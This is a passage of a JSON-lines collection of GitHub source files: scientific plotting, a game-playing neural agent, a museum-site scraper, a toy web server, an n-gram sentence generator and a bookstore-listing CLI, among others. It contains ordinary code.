pd.DataFrame(q)\r\n df_t = pd.DataFrame(frame_num * time_per_frame + time_per_frame/2)\r\n df_i = pd.DataFrame(full_intensity.T)\r\n \r\n df_q.to_csv(os.path.join(save_path, 'reciprocal_' + sample_name + '.csv'), header = ['Q r$(1/\\AA\\)$'], index = None)\r\n df_t.to_csv(os.path.join(save_path, 'time_' + sample_name + '.csv'), header = ['Time (s)'], index = None)\r\n df_i.to_csv(os.path.join(save_path, 'intensity_' + sample_name + '.csv'), header = frame_num, index = None)\r\n # Note: intensity matrix saved with frames for columns and qs for rows\r\n print('\\n Saved data in: ' + save_path)\r\n \r\n return (q, frame_num, full_intensity.T)\r\n\r\n# =================Part 2: Contour plot======================\r\n\r\ndef plot_contour(csv_path, frames, sample_name, save_path, time_per_frame):\r\n '''\r\n Parameters\r\n ----------\r\n csv_path : path object, \r\n points towards the saved csv file.\r\n frames : int,\r\n imports the total number of frames taken for the scan\r\n sample_name : str,\r\n name of the sample. Default is the name under which scan is saved.\r\n save_path : path object\r\n where the output is saved.\r\n time_per_frame: float.\r\n\r\n Returns\r\n -------\r\n Contour plot\r\n\r\n '''\r\n # call/define variables for contour plot\r\n q, frame_num, intensity = get_data(csv_path, frames, sample_name, save_path, time_per_frame)\r\n \r\n # create an empty figure with the following dimensions\r\n fig = plt.figure(figsize=(6,5))\r\n left, bottom, width, height = 0.1, 0.1, 0.8, 0.8\r\n ax = fig.add_axes([left, bottom, width, height]) \r\n \r\n # add the contour plot and a colorbar\r\n cp = plt.contourf(frame_num*time_per_frame, q, intensity, np.linspace(0, np.amax(intensity), 100))\r\n plt.colorbar(cp, location='left', ticks = np.arange(0, np.amax(intensity), 1000))\r\n \r\n # define axis names, ticks, etc.\r\n q_min, q_max = (q[0], q[-1])\r\n q_min, q_max = (0.5, 3.5)\r\n y_ticks = np.linspace(q_min, q_max, 20) # number of tickmarks \r\n ax.set_xlabel('Time (s)')\r\n ax.set_ylabel(r'Q $(\\AA^{-1})$')\r\n ax.set_yticks(y_ticks)\r\n ax.yaxis.tick_right()\r\n ax.yaxis.set_label_position(\"right\")\r\n ax.set_ylim(q_min, q_max)\r\n ax.set_title(sample_name)\r\n plt.savefig(os.path.join(save_path, 'Contour_plot_' + str(sample_name)), dpi = 300, bbox_inches = \"tight\")\r\n plt.show()\r\n\r\n# =================Part 3: Surface plot (WORK IN PROGRESS)======================\r\n\r\ndef plot_surface(csv_path, frames, sample_name, save_path, time_per_frame, q_range, frame_range):\r\n q, frame_num, intensity = get_data(csv_path, frames, sample_name, save_path, time_per_frame)\r\n \r\n fig = plt.figure(figsize=(6,5))\r\n left, bottom, width, height = 0.1, 0.1, 0.8, 0.8\r\n ax = fig.add_axes([left, bottom, width, height]) \r\n \r\n surf = ax.plot_surface(frame_num*time_per_frame + time_per_frame/2, q, intensity, cmap=cm.coolwarm,\r\n linewidth=0, antialiased=False)\r\n\r\n\r\n\r\nplot_contour(csv_path, num_frames, sample_name, save_path, time_per_frame)\r\n# plot_surface(csv_path, num_frames, sample_name, save_path, time_per_frame, (0.5, 2.0), (25, 45))\r\n","repo_name":"simonwb98/XRDSol-supplementary","sub_path":"contour_plot.py","file_name":"contour_plot.py","file_ext":"py","file_size_in_byte":7605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14859528924","text":"from typing import Dict, List\n\nimport numpy as np\nfrom tensorflow import keras\nfrom the_game.game_env import GameEnv, Heap, Player\n\n\nclass InvalidActionError(Exception):\n \"\"\"\n Raise on invalid action from LearningPlayer.\n Useful for learning.\n \"\"\"\n\n\nclass LearningPlayer(Player):\n CARD_ACTIONS = [\n f\"card_{x}::{action}\"\n for x in range(8)\n for action in [\n \"heap_up_1\",\n \"heap_up_2\",\n \"heap_down_1\",\n \"heap_down_2\",\n ]\n ]\n\n PASS_ACTION = \"pass\"\n ACTIONS = [\n *CARD_ACTIONS,\n PASS_ACTION,\n ]\n\n OBSERVATION = [\n \"heap_up_1\",\n \"heap_up_2\",\n \"heap_down_1\",\n \"heap_down_2\",\n *[f\"card_{x}\" for x in range(8)],\n ]\n\n def __init__(self, game_env: GameEnv):\n super().__init__(game_env)\n self.turn_played_cards = 0\n self.model: keras.Model = None\n\n @property\n def heaps(self) -> Dict[str, Heap]:\n return {\n \"heap_up_1\": self.game_env.heaps[Heap.HEAP_UP][0],\n \"heap_up_2\": self.game_env.heaps[Heap.HEAP_UP][1],\n \"heap_down_1\": self.game_env.heaps[Heap.HEAP_DOWN][0],\n \"heap_down_2\": self.game_env.heaps[Heap.HEAP_DOWN][1],\n }\n\n @property\n def observation(self) -> List[int]:\n \"\"\"\n Return observation for neural network.\n :return: [\n heap_up_1,\n heap_up_2,\n heap_down_1,\n heap_down_2,\n hand_cards...\n ]\n :rtype: List[int]\n \"\"\"\n\n observation = []\n\n for heap in (\n self.game_env.heaps[Heap.HEAP_UP] + self.game_env.heaps[Heap.HEAP_DOWN]\n ):\n observation.append(heap.heap[0])\n\n observation.extend(sorted(self.hand))\n observation.extend([0] * (8 - len(self.hand)))\n\n return observation\n\n def play_action(self, action) -> int:\n \"\"\"\n Play action according to its index.\n Return the gain on heap.\n :param action:\n :type action:\n :return:\n :rtype:\n \"\"\"\n if self.ACTIONS[action] == self.PASS_ACTION:\n if (self.game_env.remaining_cards > 0 and self.turn_played_cards < 2) or (\n self.game_env.remaining_cards == self.turn_played_cards == 0\n ):\n raise InvalidActionError\n\n self.turn_played_cards = 0\n return 50\n\n sorted_hand = sorted(self.hand)\n card_label, heap_label = self.ACTIONS[action].split(\"::\")\n card_index = int(card_label.split(\"_\")[1])\n\n # invalid selection from neural network\n if card_index >= len(sorted_hand):\n raise InvalidActionError\n\n played_heap = self.heaps[heap_label]\n played_card = sorted_hand[card_index]\n\n # compute gain\n if played_heap.direction == Heap.HEAP_UP:\n gain = played_heap.heap[0] - played_card\n else:\n gain = played_card - played_heap.heap[0]\n\n if self.play_card(played_card, played_heap) is True:\n self.turn_played_cards += 1\n return gain + 100\n else:\n raise InvalidActionError\n\n def can_play(self) -> bool:\n \"\"\"\n Check if player can play with his current hand.\n :return:\n :rtype:\n \"\"\"\n for card in self.hand:\n for heap in self.game_env.heap_list:\n if heap.validate_card(card) is True:\n return True\n return False\n\n def play(self):\n assert self.model is not None, \"Please setup model.\"\n\n while self.can_play():\n\n observation = np.array(self.observation)\n predictions = self.model.predict(np.expand_dims(observation, axis=0))[0]\n\n for _ in range(len(predictions)):\n selected_action: int = np.argmax(predictions)\n\n try:\n result = self.play_action(selected_action)\n except InvalidActionError:\n predictions[selected_action] = 0.0\n continue\n\n print(\"Observation:\", observation)\n print(\"Played:\", LearningPlayer.ACTIONS[selected_action])\n\n if result == 50:\n print(\"Draw.\")\n return\n break\n","repo_name":"Swelio/TheGameSolver","sub_path":"project_package/learning_player.py","file_name":"learning_player.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26823107638","text":"import json\nimport re\nfrom lxml import etree\nfrom html import unescape\n\n\ndef load_jsonl_file(fn):\n data = []\n with open(fn, mode='r', encoding='utf8') as f:\n for line in f:\n data.append(json.loads(line))\n f.close()\n return data\n\n\ndef dump_jsonl_file(data: list, fn):\n with open(fn, mode='w', encoding='utf8') as f:\n for item in data:\n f.write(json.dumps(item, ensure_ascii=False))\n f.write('\\n')\n f.close()\n\n\ndef html2text(html, escape=False):\n if escape:\n html = unescape(html)\n\n tree = etree.HTML(html)\n if tree is None: return \"\"\n texts = tree.xpath('//text()')\n # texts = [re.sub(r'(\\xa0|\\uf0b7)', ' ', text) for text in texts]\n text = re.sub(r'\\s+', ' ', ' '.join(texts))\n return text\n","repo_name":"vudat1710/fashion_engine","sub_path":"backend/process_data/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"34670873288","text":"import os\nimport numpy as np\nfrom glob import iglob\nfrom scipy.io import loadmat, savemat\nfrom os.path import join, basename, splitext\n#from random import shuffle\n#from math import floor\n\n\nTYPE = ['clean', '-2.5db', '0db', '2.5db', '5db', '7.5db']\nPERSON = ['100','101','102','103','104','105','106','107','108','109','111','112','113','114','115','116','117','118','119','121','122','123','124','200','201','202','203','205','207','208','209','210','212','213','214','215','217','219','220','221','222','223','228','230','231','232','233','234']\n\ndef main(dirname):\n #os.mkdir('dataset')\n for m in TYPE:\n if not os.path.exists('dataset/'+m):\n os.mkdir('dataset/'+m)\n node = 1024\n train = np.zeros((1, node))\n train_lab = []\n for p in PERSON:\n label = []\n path = join(dirname, m, p )\n data = np.zeros((1, node))\n for f in iglob(path + '/*mat'):\n filename = join(path, f)\n #print(filename)\n mat = loadmat(filename)\n name = splitext(basename(f))[0]\n #print(name)\n label.append(name)\n sig = mat['temp']\n #sig = np.reshape(sig, (5, node))\n data = np.concatenate([data, sig], axis=0)\n train = np.concatenate([train, data[1:]], axis=0)\n train_lab.append(np.asarray(label[:]))\n #print(test_lab)\n #np.save('dataset/' + '/train_{}'.format(), train[1:])\n #np.save('dataset/' + '/train_name_{}', train_lab)\n np.save('dataset/' + m + '/train', train[1:]) \n np.save('dataset/' + m + '/train_name', train_lab)\n print(train.shape)\n #print(train_lab)\n\n\nif __name__ == '__main__':\n main('/mnt/intern/user_sophie/short_ecg_0_1/train')\n\n","repo_name":"sophie091524/Noise-Reduction-in-ECG-Signals","sub_path":"buid_data/build_train.py","file_name":"build_train.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"52"} +{"seq_id":"42063547423","text":"from django.shortcuts import redirect, render\nfrom .forms import ClientForm\nfrom django.contrib import messages\n# Create your views here.\ndef index(request):\n if request.method == \"POST\":\n clientform = ClientForm(request.POST)\n if clientform.is_valid():\n clientform.save()\n messages.success(request,\"Thank You For Your Response We Will Contact You Soon\")\n return redirect('html/index.html')\n else:\n messages.error(request,\"Something Is Wrong Sorry For Inconvinience\")\n else:\n clientform =ClientForm() \n return render(request,'html/index.html',{'clientform':clientform})\n","repo_name":"Prateeklodhi/Official","sub_path":"perftechsolapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32880462998","text":"from ..items import *\nfrom ..str_filter import *\n\nclass Collection87(scrapy.Spider):\n name = \"Collection87\"\n allowed_domains = ['ahbbmuseum.com']\n start_urls = ['https://www.ahbbmuseum.com/?list_4/',\n 'https://www.ahbbmuseum.com/?list_4_2/',\n 'https://www.ahbbmuseum.com/?list_4_3/',\n 'https://www.ahbbmuseum.com/?list_4_15/',\n 'https://www.ahbbmuseum.com/?list_4_21/',\n 'https://www.ahbbmuseum.com/?list_4_35/',\n 'https://www.ahbbmuseum.com/?list_4_45/',\n 'https://www.ahbbmuseum.com/?list_4_60/']\n\n custom_settings = {\n 'ITEM_PIPELINES': {\n 'mySpider.pipelines.CollectionPipeLine': 301,\n },\n 'DOWNLOADER_MIDDLEWARES': {\n 'mySpider.middlewares.DefaultMiddleware': 0,\n },\n }\n\n def parse(self, response, **kwargs):\n #/html/body/div[2]/div[2]/div/div/div[2]/ul/li[1]\n li_list = response.xpath(\"/html/body/div[2]/div[2]/div/div/div[2]/ul/li\")\n for li in li_list:\n item = CollectionItem()\n item[\"museumID\"] = 87\n item[\"museumName\"] = \"蚌埠市博物馆\"\n\n\n # 注意是否为全路径,一般后缀为@src有的是@oldsrc\n #/html/body/div[2]/div[2]/div/div/div[2]/ul/li[1]/a/div[1]/img\n #https://www.ahbbmuseum.com/static/upload/image/20210205/1612490736211016.jpg\n item['collectionImageLink'] = \"https://www.ahbbmuseum.com/\" + li.xpath(\"./a/div[1]/img/@src\").extract_first()\n\n\n #注意是否是全路径\n #怎么判断是否是全路径\n #https://www.ahbbmuseum.com/?list_19/1180.html\n #/html/body/div[2]/div[2]/div/div/div[2]/ul/li[1]/a\n url = \"https://www.ahbbmuseum.com/\" + str(li.xpath(\"./a/@href\").extract_first())\n\n yield scrapy.Request(\n url,\n callback=self.parseAnotherPage,\n meta={\"item\": item}\n )\n # 翻页\n def parseAnotherPage(self, response):\n r = re.compile(u\"\\\\n|\\\\r|\\\\[.*?]|\\\\t\")\n item = response.meta[\"item\"]\n\n # 名字的xpath都一样\n # /html/body/div[6]/div/ul/li[1]/div/span[1]\n r = re.compile(u\"\\\\n|\\\\r|\\\\[.*?]|\\\\t\")\n item['collectionName'] = response.xpath(\"/html/body/div[2]/div[2]/div/div/h1/text()\").extract_first()\n item[\"collectionName\"] = \"\".join(item[\"collectionName\"].split())\n item[\"collectionName\"] = re.sub(r, '', item[\"collectionName\"])\n\n item[\"collectionIntroduction\"] = response.xpath(\n 'normalize-space(/html/body/div[2]/div[2]/div/div/div[2]/div[2]/p[4])').extract_first()\n item[\"collectionIntroduction\"] = StrFilter.filter_2(item[\"collectionIntroduction\"])\n\n str2 = response.xpath(\n 'normalize-space(/html/body/div[2]/div[2]/div/div/div[2]/div[2]/p[6])').extract_first()\n str2 = StrFilter.filter_2(str2)\n\n str3 = response.xpath(\n 'normalize-space(/html/body/div[2]/div[2]/div/div/div[2]/div[2]/p[8])').extract_first()\n str3 = StrFilter.filter_2(str3)\n item[\"collectionIntroduction\"] = item[\"collectionIntroduction\"] + str2 + str3\n print(item)\n yield item\n","repo_name":"CS1803-SE/The-First-Subsystem","sub_path":"mySpider/spiders/Collection87.py","file_name":"Collection87.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"25603012321","text":"from socket import *\nimport sys\n\n\ndef webServer(port=13331):\n serverSocket = socket(AF_INET, SOCK_STREAM)\n serverSocket.bind((\"\", port))\n serverSocket.listen(1)\n\n while True:\n # Establish the connection\n # print('Ready to serve...')\n connectionSocket, addr = serverSocket.accept()\n try:\n\n try:\n message = connectionSocket.recv(1024)\n filename = message.split()[1]\n f = open(filename[1:])\n outputdata = f.read()\n response = 'HTTP/1.1 200 OK\\r\\n'\n response += 'Content-Type: text/html\\n'\n response += '\\n'\n connectionSocket.send(response.encode())\n # Send one HTTP header line into socket.\n connectionSocket.send(\"HTTP/2 200 OK\".encode())\n\n # Send the content of the requested file to the client\n for i in range(0, len(outputdata)):\n connectionSocket.send(outputdata[i].encode())\n\n connectionSocket.send(\"\\r\\n\".encode())\n connectionSocket.close()\n except IOError:\n connectionSocket.send(\"HTTP/2 404 NOT FOUND\".encode())\n connectionSocket.close()\n\n except (ConnectionResetError, BrokenPipeError):\n pass\n\n serverSocket.close()\n sys.exit() # Terminate the program after sending the corresponding data\n\n\nif __name__ == \"__main__\":\n webServer(13331)\n","repo_name":"ronniemyers/comp-networking","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74531686243","text":"# -*- coding:ascii -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1423375004.043891\n_enable_loop = True\n_template_filename = 'C:\\\\Users\\\\Steven\\\\test_dmp\\\\homepage\\\\templates/notAuthorized.html'\n_template_uri = 'notAuthorized.html'\n_source_encoding = 'ascii'\nimport os, os.path, re\n_exports = []\n\n\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n __M_writer = context.writer()\n __M_writer('\\r\\n\\t\\r\\n\\r\\n\\r\\n\\t
\\r\\n\\t

You are not authorized to perform this action!

\\r\\n\\t

Please ask a manager or administrator to receive authorization. Until then please return back to the home screen by clicking below

\\r\\n\\t

Home

\\r\\n\\t
\\r\\n\\r\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"source_encoding\": \"ascii\", \"uri\": \"notAuthorized.html\", \"filename\": \"C:\\\\Users\\\\Steven\\\\test_dmp\\\\homepage\\\\templates/notAuthorized.html\", \"line_map\": {\"16\": 0, \"27\": 21, \"21\": 1}}\n__M_END_METADATA\n\"\"\"\n","repo_name":"StevenDewey/colonial-project","sub_path":"homepage/cached_templates/templates/notauthorized.html.py","file_name":"notauthorized.html.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3064602614","text":"import pandas as pd\nimport numpy as np\nimport base64\nimport csv\n\ndef trans_base64(num):\n # 转为二进制格式\n with open(\"./tupian/{}.png\".format(num), \"rb\") as f:\n base64_data = base64.b64encode(f.read())\n return base64_data\n\n\nif __name__ == '__main__':\n\n data = pd.read_csv('pp_pic_des33_header.csv')\n count = 0\n\n for index, row in data.iterrows():\n\n p_id = row[0]\n name = row[1]\n list_r = [p_id,name]\n\n if not pd.isna(row[2]):\n cur_base64_data = trans_base64(p_id)\n else:\n cur_base64_data = ''\n\n list_r.append(cur_base64_data)\n list_r.append(row[2])\n\n f1 = open('./pp_pic_des_t64.csv', 'a+', encoding='utf-8', newline='')\n writer1 = csv.writer(f1)\n writer1.writerow(list_r)\n f1.close()\n\n count += 1\n if count >= 5000 and count%5000==0:\n print('===finish===', count)","repo_name":"realmiya/ScentSearcher","sub_path":"DATA_PROCESS/translate_base64.py","file_name":"translate_base64.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33674486439","text":"from infGrammarNgram2 import nGramModel\nfrom nltk.corpus import brown\nfrom nltk.probability import ELEProbDist\nfrom nltk.probability import SimpleGoodTuringProbDist\nfrom math import log\nimport nltk\nimport random\n#import ngramTrials2\nimport sys\n\nsmoothing_string = \"SimpleGoodTuringProbDist\"\n\ndef main():\n \"\"\"\n Provide an entry point into program.\n :return: None\n \"\"\"\n print(\"Building models...\")\n order = 4\n smoothing = SimpleGoodTuringProbDist\n sents_ = brown.tagged_sents()\n sents = list(sents_) #needs to be mutable to insert start/end tokens if working with tags\n sents = remove_punctuation(sents)\n sentences_of_tags = []\n #Pull out the tags and make sentences of just tags!\n for sentence in sents:\n sentence_tags = [tag for (word, tag) in sentence if word.isalnum()]\n sentences_of_tags.append(sentence_tags)\n\n print(\"Building grammar model\")\n testModelGrammar = generateModelFromSentences(sentences_of_tags, smoothing, order,False,\"START\",\"END\") #Create trigram of only grammar\n ##NGRAM MODEL FOR TAGS AND WORDS\n #print(sents[0], \" order: \", order)\n print(\"Building word model\")\n testModelwordtags = generateModelFromSentences(sents, smoothing, order, True)\n\n\n print(\"Generating text...\")\n ## GENERATE TEXT\n # infGrammarGenerate(testModelGrammar, testModelwordtags, 10)\n\n ## HERE BE DEBUGGING\n #TODO: Implement function to split corpus sentences into training and test set.\n #brown_sents_ = brown.tagged_sents()\n #brown_sents = list(brown_sents_)\n ##word_model = ngramTrials2.nGramModel(brown_sents, smoothing, order)\n infGrammarGenerate(testModelGrammar, testModelwordtags, None, 50)\n\n\n #Testing out other model\n # ngramTrials2.nGramModel(sents_,smoothing,order)\n\n #\n # print(perplexity(word_model, test_sent))\n\n ## TESTS\n assert(testModelGrammar.tagged == False)\n assert(testModelwordtags.tagged == True)\n #assert('START' in testModelwordtags.model)\n\ndef remove_punctuation(sentences):\n sents = []\n #Pull out the tags and make sentences of just tags!\n for sentence in sentences:\n nopunc_sentence = [(word, tag) for (word, tag) in sentence if word.isalnum()]\n sents.append(nopunc_sentence)\n return sents\n\ndef generateModelFromSentences(sents, smoothingF, n, isTagged=False, startChar=\"\", endChar=\"\"):\n if isTagged:\n addPseudo(sents, n, True)\n return nGramModel(sents, smoothingF, n, True)\n else:\n sents = [[w.lower() for w in s] for s in sents]\n addPseudo(sents,n,False, startChar, endChar)\n return nGramModel(sents, smoothingF, n)\n\ndef entropy(model, test):\n \"\"\"Calculate entropy given an ngram model and a list of test sentences.\"\"\"\n\n p = 0\n n = 0\n order = model.getOrder()\n if order == 2:\n for sent in test:\n n += len(sent)\n wPrev = sent.pop(0)\n for w in sent:\n p += -log(model.prob(w,wPrev),2)\n return p/n\n elif order == 3:\n for sent in test:\n n += len(sent)\n w1 = sent.pop(0)\n w2 = sent.pop(0)\n for w in sent:\n p += -log(model.prob_tri(w1, w2, w))\n return p/n\n\n\n\ndef perplexity(model, test):\n e = entropy(model, test)\n return 2**e\n\n#mutator\ndef addPseudo(sents, n, tag=False, start=\"\", end=\"\"):\n \"\"\"Modify sents by inserting start and end tokens to beginning and end of each sentence\"\"\"\n if tag:\n start_symbol = ('', 'START')\n end_symbol = ('', 'END')\n for s in sents:\n for _ in range(n-1):\n s.insert(0, start_symbol)\n s.append(end_symbol)\n else:\n for s in sents:\n for _ in range(n-1):\n s.insert(0,start)\n s.append(end)\n\ndef infGrammarGenerate(grammar_model, word_tag_model, word_model, nrSents):\n \"\"\"Generate a given number of sentences using a model for grammar and a (word,tag) model of equal N\"\"\"\n assert(grammar_model.getOrder() == word_tag_model.getOrder())\n #Create an empty list to hold our conditional tokens\n gram_prevTk = list()\n word_prevTk = list()\n counter = 0\n tagged_sentence = list()\n best_sentence = (\"\", 999999)\n order = grammar_model.getOrder()\n for _ in range(nrSents): #Generate a sentence, nrSents times\n text = \"\" #Initialize empty string\n for _ in range(order-1): #Generate sentences on a given word/symbol (here it is the start symbol)\n word_prevTk.append(\"\")\n gram_prevTk.append(\"START\")\n gram_tk = \"\" #Initialize empty token string\n word_tk = \"\"\n wordgram = \"\"\n while(wordgram != \"END\"): #Loop until we find an END token\n #print(\"GRAMTOKEN: \",gram_tk)\n text += word_tk + \" \"\n #print(\"text so far: \",text)\n tagged_sentence.append((word_tk, gram_tk))\n #print(\"gram prevtkn: \",list(gram_prevTk))\n gram_tk = grammar_model.generate(list(gram_prevTk))\n #print(\"gramtoken: \",gram_tk)\n wordgram = gram_tk.upper()\n #print(\"wordgram: \",wordgram)\n word_tk = word_tag_model.generate(list(word_prevTk), wordgram)\n #print(\"wdtoken\", word_tk)\n while(word_tk == None): # No word found for w1,w2,tag\n gram_tk = grammar_model.generate(list(gram_prevTk)) # GET UPPERCASE\n wordgram = gram_tk.upper()\n #print(\"new gram_tk: \",gram_tk)\n word_tk = word_tag_model.generate(list(word_prevTk), wordgram)\n #sys.exit()\n #while(word_tk == \"\"):\n # word_tk = word_tag_model.generate(list(word_prevTk))\n gram_prevTk.pop(0)\n word_prevTk.pop(0)\n gram_prevTk.append(gram_tk)\n word_prevTk.append(word_tk)\n gram_prevTk = list()\n word_prevTk = list()\n counter += 1\n print(counter)\n if not validate_sentence(text, order):\n continue\n '''perplexity = word_model.perplexity(tagged_sentence)\n if perplexity < best_sentence[1]:\n best_sentence = (text.strip(), perplexity)\n write_to_file(best_sentence, smoothing_string)\n print(text.strip())\n # print(text.strip())'''\n write_to_file((text.strip(),0), smoothing_string)\n gram_prevTk = list()\n word_prevTk = list()\n\n\n\ndef split(sentences, fraction):\n \"\"\"\n Split a fraction of a list of sentences into a training and test set.\n :param sentences: Initial training as a list of sentences data to be split\n :param fraction: represents the fraction of sentences to place in a training data set, the remainder goes into test set\n :return: list of training sentences, list of test sentences\n \"\"\"\n split_sentences = list(sentences)\n random.shuffle(split_sentences)\n break_point = int(len(split_sentences) * fraction)\n return split_sentences[:break_point], split_sentences[break_point:]\n\n\ndef write_to_file(text, smoothingTechnique):\n model_name = \"InferredGrammar\"\n sentence = text[0]\n perplexity = float(text[1])\n print(\"text[1] = \" + str(text[1]))\n filename = smoothingTechnique + \".txt\"\n with open(filename, \"a\") as file:\n file.write(\"%s\\t%s\\t%s\\t%.02f\\n\" % (model_name, smoothingTechnique, sentence, perplexity))\n file.close()\n\ndef validate_sentence(sentence, order):\n \"\"\"\n Check if a sentence meets various constraints such as length.\n :param sentence:\n :return:\n \"\"\"\n sent_length = len(sentence.split())\n maximum_phrase_length = 20\n minimum_phrase_length = 4\n\n #if\n if (sent_length >= maximum_phrase_length) or (order >= sent_length) or (sent_length <= minimum_phrase_length):\n print(\"Rejected sentence: \")\n return False\n else:\n return True\n\n\ndef generateText(model, sents):\n \"\"\"\n Generate sentences of text based on a single model.\n :param model: NgramModel of words\n :param sents: Integer, number of sentences to generate\n :return: none\n \"\"\"\n prevTk = list()\n lN = model.getOrder()\n for _ in range(sents):\n text = \"\"\n for _ in range(lN-1):\n prevTk.append(\"\")\n tk = \"\"\n while(tk != \"\"):\n text += tk + \" \"\n tk = model.generate(list(prevTk))\n prevTk.pop(0)\n prevTk.append(tk)\n\n print(text.strip())\n prevTk = list()\n\nif __name__ == '__main__':\n main()\n","repo_name":"jandersson/NLG-2-Models","sub_path":"infGrammarMain.py","file_name":"infGrammarMain.py","file_ext":"py","file_size_in_byte":8533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3468769652","text":"import io\nimport re\nfrom cli.utils import *\nfrom PIL import Image\nimport click\nimport requests\n\nfrom cli.app import App\n\n\nfq_title = None\n\n\n@click.group()\ndef cli():\n pass\n\n\n@cli.group()\ndef books():\n pass\n\n\n@books.command()\ndef add():\n click.clear()\n\n # Setup resource providers\n w(\"Setting up application...\")\n app = App()\n categories = app.the_base_client.categories.get()\n\n # Input: isbn,book_id\n w(\"Enter books to add, one line per book, follow this format: ISBN,Book_Id\")\n books_raw = click.edit()\n if books_raw is None:\n w(\"Input is empty, exit.\")\n exit(0)\n\n unprocessed_list = []\n successful_list = []\n for book_raw in books_raw.splitlines():\n split = [s.strip() for s in book_raw.split(\",\")]\n isbn = split[0]\n book_id = split[1]\n unprocessed_list.append(book_id)\n book_cat = re.sub(r'\\d+', '', book_id)\n book_cat_id = categories[book_cat]\n try:\n isbn, book_id, title, description, authors, has_img = _add_one(app, isbn, book_id, book_cat_id)\n unprocessed_list.remove(book_id)\n successful_list.append(f\"{isbn},{book_id},{title},{description},{authors},{has_img}\")\n except Exception as e:\n w(f\"Error processing book {book_id}: {e}\")\n\n if len(unprocessed_list) > 0:\n click.echo(\"Here are unprocessed books:\", err=True)\n for unprocessed_book in unprocessed_list:\n click.echo(unprocessed_book, err=True)\n\n click.edit(\"\\n\".join(successful_list))\n\n\ndef _add_one(app, isbn, book_id, cat_id):\n w(f\"Finding book [{book_id}] - ISBN:{isbn}...\")\n simple_info = app.google_books.search_by_isbn(isbn)\n\n if simple_info is None:\n w(f\"Book {isbn} not found. Do you want to submit manually? (y)es/(n)o\")\n while True:\n c = click.getchar()\n if c == 'y':\n t = prompt(\"Enter book title:\")\n a = prompt(\"Enter book authors (if many, separated by commas (,):\")\n simple_info = {\n \"title\": t,\n \"authors\": a\n }\n simple_info[\"authors\"] = simple_info[\"authors\"].split(\",\")\n break\n elif c == 'n':\n raise Exception(f\"Book {isbn} will be put into unprocessed list.\")\n\n title = simple_info[\"title\"]\n authors = simple_info[\"authors\"]\n\n global fq_title\n fq_title = f\"[{book_id}] {title}\"\n\n w(fq_title, \"Add or modify the description as you see fit, SAVE the text file before close it\")\n description = click.edit(simple_info.get(\"description\"))\n\n img_link = simple_info.get(\"image\")\n if img_link is None:\n img_link = _search_for_book_cover(app, title, authors)\n\n w(fq_title, \"Creating item...\")\n resp = app.the_base_client.items.add({\n \"title\": f\"[{book_id}] {title}\",\n \"detail\": description\n })\n item_id = resp[\"item\"][\"item_id\"]\n\n w(fq_title, \"Adding category to item...\")\n app.the_base_client.item_categories.add(item_id, cat_id)\n\n if img_link is not None:\n w(\"Adding image to item...\")\n app.the_base_client.items.add_image(item_id, img_link)\n\n w(fq_title, \"終了しました!\")\n return isbn, book_id, title, description.replace(\"\\n\", \" \"), \" & \".join(authors), \"x\" if img_link else \"\"\n\n\ndef _search_for_book_cover(app, title, authors):\n w(fq_title, \"Finding book covers with Google image search...\")\n links = app.cse_image.search_for_links(f\"{title} {authors[0]} books\")\n if links is None:\n return _manual_image_link(\"No image found! \")\n\n img_link = links[0]\n _show_img(img_link)\n\n w(fq_title, \"Is this cover OK? (y)es/(n)o\")\n while True:\n c = click.getchar()\n if c == 'y':\n return img_link\n elif c == 'n':\n return _manual_image_link()\n\n\ndef _manual_image_link(pre_msg=\"\"):\n w(fq_title, f\"{pre_msg}You can: (1) paste an image link or (2) continue without an image\")\n while True:\n c = click.getchar()\n if c == '1':\n return prompt(\"Image link:\")\n elif c == '2':\n w(fq_title, \"Continuing without book cover\")\n return\n\n\ndef _show_img(img_link):\n response = requests.get(img_link)\n image_bytes = io.BytesIO(response.content)\n img = Image.open(image_bytes)\n img.show()\n","repo_name":"Ventilateur/vysacharity","sub_path":"cli/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":4356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1293571174","text":"import pandas as pd\nimport csv\nimport numpy as np\nimport re\nimport pickle\n\n\ndef load_rel(rel, queryids, docids, file):\n for line in np.array(file):\n [q, _, d, r] = line\n q = int(q)\n d = int(d)\n r = int(r)\n queryids.add(q)\n docids.add(d)\n if q not in rel:\n rel[q] = {}\n rel[q][d] = r\n\n\ndef load_queries(queryids, queries, reader):\n i = 0\n for [id, text] in reader:\n i += 1\n print(i, end='\\r')\n id = int(id)\n if id in queryids:\n queries[id] = text\n\n\ndef calculate_data():\n docids = set()\n queryids = set()\n\n rel = {}\n\n file_in = open('data/L2R_2/feature_dev_train.txt', 'r')\n\n for line in file_in.readlines():\n 